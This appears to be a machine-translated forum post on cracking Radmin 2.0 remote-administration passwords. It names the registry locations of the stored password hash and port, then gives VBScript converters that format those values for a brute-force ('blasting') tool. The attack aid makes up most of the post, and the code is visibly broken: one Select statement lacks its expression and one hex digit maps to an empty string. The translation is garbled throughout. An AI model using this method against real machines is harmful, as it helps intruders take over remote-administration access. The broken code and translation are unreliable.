Talk about Radmin cracking

HKEY_LOCAL_MACHINE \ SYSTEM \ Radmin \ V2.0 \ Server \ Parameters \ parameter // default password registry location
HKEY_LOCAL_MACHINE \ SYSTEM \ Radmin \ V2.0 \ Server \ Parameters \ port // default port registry location
// Separate the items read by Haiyang with commas and use the following Code Conversion is enough.

Copy code The Code is as follows: dim thestr
Thestr = inputbox ("enter the password to be converted:", "enter ")

If thestr <> "" then
Call inputbox ("copy the converted password", zpass (thestr ))
End if

Function zpass (PASS)
Tpass = ""
Myarray = Split (pass, ",",-1, 1)
For each thepass in myarray
If Len (thepass) = 1 then
Tpass = tpass + "0"
End if
Tpass = tpass + hex (thepass)
Next
Zpass = tpass
End Function

// After conversion, you can run the blasting tool ....
After reading the port, it is similar to 223,34 ,.
// Use the following code for conversionCopy codeThe Code is as follows: dim thestr
Thestr = inputbox ("enter the port to be converted:", "input", "223,34 ,")
DA = Split (thestr, ",",-1, 1)
If thestr <> "" then
Call inputbox ("Please copy the converted port", hex2dec (dec2hex (DA (3) & dec2hex (DA (2) & dec2hex (DA (1 )) & dec2hex (DA (0 ))))
End if

Function hex2dec (HEX)
Hex = ucase (HEX)
For I = 1 to Len (HEX)
Select case mid (Hex, Len (HEX)-I + 1, 1)
Case "0": B = B + 16 ^ (I-1) * 0
Case "1": B = B + 16 ^ (I-1) * 1
Case "2": B = B + 16 ^ (I-1) * 2
Case "3": B = B + 16 ^ (I-1) * 3
Case "4": B = B + 16 ^ (I-1) * 4
Case "5": B = B + 16 ^ (I-1) * 5
Case "6": B = B + 16 ^ (I-1) * 6
Case "7": B = B + 16 ^ (I-1) * 7
Case "8": B = B + 16 ^ (I-1) * 8
Case "9": B = B + 16 ^ (I-1) * 9
Case "A": B = B + 16 ^ (I-1) * 10
Case "B": B = B + 16 ^ (I-1) * 11
Case "C": B = B + 16 ^ (I-1) * 12
Case "D": B = B + 16 ^ (I-1) * 13
Case "E": B = B + 16 ^ (I-1) * 14
Case "F": B = B + 16 ^ (I-1) * 15
End select
Next
Hex2dec = B
End Function
Function dec2hex (DEC)
Dec2hex = ""
Do While dec> 0
A = CSTR (Dec mod 16)
Select case
Case "10": A = ""
Case "11": A = "B"
Case "12": A = "C"
Case "13": A = "D"
Case "14": A = "e"
Case "15": A = "F"
End select
Dec2hex = A & dec2hex
Dec = dec \ 16
Loop
End Function